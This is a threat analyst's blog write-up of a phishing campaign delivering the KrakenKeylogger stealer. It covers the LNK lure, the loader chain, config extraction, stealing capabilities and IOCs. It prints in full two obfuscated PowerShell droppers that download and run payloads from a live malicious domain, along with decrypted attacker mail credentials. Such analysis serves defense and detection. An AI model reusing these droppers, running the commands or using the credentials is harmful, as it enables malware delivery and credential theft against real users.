1/15 May 20, 2023 Kraken - The Deep Sea Lurker Part 1 0xtoxin.github.io/malware analysis/KrakenKeylogger-pt1/ Part 1 of analyzing the KrakenKeylogger Malware 5 minute read 0xToxin Threat Analyst & IR team leader - Malware Analysis - Blue Team Intro In this first part we will be going through a recent phishing campaign delivering a never seen before “KrakenKeylogger” malware. The Phish The mail sent to the victim is a simple malspam mail with archive attachment: https://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/ 2/15 The archive is a .zip archive that contains .lnk file: 3/15 LNK Analysis LEcmd Tool In order to analyze an .lnk file I use the LeCMD tool. By using the tool we can see that the .lnk will execute PowerShell.exe alongside with an argument: PowerShell Script Let’s breakdown the script: https://github.com/EricZimmerman/LECmd 4/15 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){ $OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('') }; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{ $zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2) } catch{ $zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1) } }; $zRavFAQNJqOVxb }; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl; The script will create a new string which will be the URL to the next payload, the script will take the obfuscated URL string and will deobfuscate it in several steps: 1. The string will be reversed by the function nvRClWiAJT. 2. a for loop will iterate through the flipped string and will jump every 2 chars. 3. each iteration 2 chars will be flipped again, and in the last iteration the last char will flipped also but it won’t have any effect. Here is a quick python script that does this process: input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1] output_string = '' for i in range(0, len(input_string), 2): try: tmp = input_string[i] + input_string[i + 1] output_string += tmp[::-1] except: output_string += input_string[i] print(output_string) https://masherofmasters.cyou/chin/se1.hta 5/15 se1.hta The fetched payload will be yet another powershell script: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function WQgtWbWK($FL, $i){ [IO.File]::WriteAllBytes($FL, $i) }; function APcZNMgjQ($FL){ if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){ Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL }else{ Start-Process $FL } }; function laiLJMT($eh){ $LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065)); [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12; $i = $LM.DownloadData($eh); return $i }; function QXUpF($P){ $n=4949; $s=$Null; foreach($WK in $P){ $s+=[char]($WK-$n) }; return $s }; function deaNPih(){ $AVYABiApT = $env:APPDATA + '\'; $XdOFJCmMx = laiLJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,505 8,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,499 6,5064,5050,4998,4995,5050,5069,5050)); $qNfQDXYlR = $AVYABiApT + 'se1.exe'; WQgtWbWK $qNfQDXYlR $XdOFJCmMx; APcZNMgjQ $qNfQDXYlR;;;; } deaNPih; 6/15 The script has several obfuscated strings that are being deobfuscated using the function QXUpF by simply going over each number and substracting 4949 from it. here is a quick script that will deobfuscate those strings and print the clear strings: stringsList = [[4995,5049,5057,5057], [5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050], [5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065], [5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058 ,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996 ,5064,5050,4998,4995,5050,5069,5050]] for string in stringsList: tmp = '' for char in string: tmp += chr(char - 4949) print(f'[+] - {tmp}') [+] - .dll [+] - rundll32.exe [+] - Net.WebClient [+] - https://masherofmasters.cyou/chin/se1.exe The script will download another file from the same domain previously used for fetching the .hta file in the previous powershell script. .NET Loader Stage 1 the fetched executable (se1.exe) is a .NET executable: the loader will decrypt embedded resource DataBasePracticalJob using the encryption algorithim RC2, the key for the encryption will be the MD5 hash value of the hardcoded string QEssDJZhQnLywDnJGpBEr (The interesting part here is that the hashing applied on the string after encoding it with BigEndianUnicode, 0x00 appends as a suffix to each byte.) Here is a diagram of the decryption process: 7/15 you can use this CyberChef Recipe in order to calculate the MD5 hash easily. Then using RC2 decryption in CyberChef we can also fetch the 2nd stage: Stage 2 The second stage is a .NET DLL which will be invoked by the first stage executable. The DLL will be invoke on its first public exported method which is syncfusion: https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Fork('%20','%5C%5Cn',false)Find_/_Replace(%7B'option':'Regex','string':'%5E'%7D,'00%20',true,false,true,false)Merge(true)Remove_whitespace(true,false,true,false,false,false)From_Hex('Auto')MD5()&input=UUVzc0RKWmhRbkx5d0RuSkdwQkVy 8/15 The second strange DLL will have 2 embedded resources that will be decrypted, the first embedded resource SeaCyanPul will be a .DLL that will be in charge of injecting the final payload to RegAsm.exe (won’t be getting into it right now but the 3rd stage will be uploaded to Malware Bazaar) The second resource UnknownDetails will be our final payload which will be decrypted using a simple AES-ECB encryption routine without IV, the key in this case will be a sha256 of null value: As I wrote before that, the payload will injected to RegAsm.exe Kraken Payload The Kraken payload 32-bit .NET binary, so we can work with DnSpy to go over some of it functionalities. Kraken Configs The configs of the Kraken stored in the .cctor of the main class: 9/15 Some of the configs are encrypted using DES-EBC encryption routine without IV, the key is MD5 hash of a preconfigured string, in this case: swCpiTiAhkkEpyDZTnAGhOBZpr, here is a quick python script that will decrypt the config strings for us: import malduck, base64 from Crypto.Cipher import DES encryptedStringsDict = { 'PersonalEmail': 'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9', 'PersonalEmailPassword': 'lNI13bp6TxER2sT4YYxfjw==', 'PersonalEmailHost': '6pvSg6TWhxedDZq2k3/l06fwica30Jlg', 'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP', 'PersonalEmailPort': 'VqONpyzLqFY=', 'PersonalHostLink': 'EdrE+GGMX48=', 'PersonalHostPassword': 'EdrE+GGMX48=', 'PersonalHostUsername': 'EdrE+GGMX48=', 'TheTelegramToken': 'EdrE+GGMX48=', 'PersonalTeleID': 'EdrE+GGMX48=' } md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8] for k,v in encryptedStringsDict.items(): des = DES.new(md5hashKey, DES.MODE_ECB) decVal = des.decrypt(base64.b64decode(v)) print(f'[+] {k} - {decVal.decode()}') [+] PersonalEmail - onuma.b@thereccorp.com [+] PersonalEmailPassword - O@1234 [+] PersonalEmailHost - mail.thereccorp.com [+] TheSMTPReciver - jbs.hannong@gmail.com [+] PersonalEmailPort - 587 [+] PersonalHostLink [+] PersonalHostPassword [+] PersonalHostUsername [+] TheTelegramToken [+] PersonalTeleID 10/15 So now we have the configuration of the Kraken, let’s move to some capabilities overview: Custom Commands The Kraken has several functions that can be executed (only if the user of the malware flag them during the compilation process of the stub), such as: TimeToRun LoadWeb Disable_Task Disable_CommandPrompt Disable_Regis ProcessKiller Nothing really interesting here, probably some persistence methods/VM checks. Harvesting Capabilities 11/15 The kraken follows the usual info stealer path as stealing local Outlook, Foxmail, ThunderBird mails credentials. It will lookup for credentials in those browsers: Google Chrome QQ Browser Vivaldi Browser Chromium Browser Cent Browser Chedot Browser 360Browser Brave Torch UC Browser Blisk Opera Avast Browser Edge Google Chrome Canary Firefox CocCoc Citrio Browser CoolNovo Epic Privacy Browser The Kraken will also look for FileZilla Credentials 12/15 Exfiltration The Kraken allows exfiltration via: FTP 13/15 SMTP Telegram Bot FTP SMTP Telegram Bot 14/15 Post Exfiltration Actions After the stealing process was done, the Kraken will automatically start a keylogging process + screenshot capturing of the victim’s computer: IOC’s Doc signed Subcontract Agreement.zip - 79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953 https://bazaar.abuse.ch/sample/79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953/ 15/15 seedof.lnk - beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd 1st.exe - dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79 2nd.dll - f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b 3rd.dll - 43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17 Kraken.exe - ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000 Summary In this blog I’ve covered a new .NET based stealer/keylogger malware, the way it was used in a phishing campaign, and a dive into the loader/injection process including overview of the malware capabilities and config extraction. Part 2 In part 2 I will be explaining my Threat hunting process, why the malware being flagged falsely? and how I managed to find more samples that helped me confirm my findings. Part 2 is up! check it out right here https://bazaar.abuse.ch/sample/beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd/ https://bazaar.abuse.ch/sample/dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79 https://bazaar.abuse.ch/sample/f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b/ https://bazaar.abuse.ch/sample/43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17/ https://bazaar.abuse.ch/sample/ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000/ https://0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/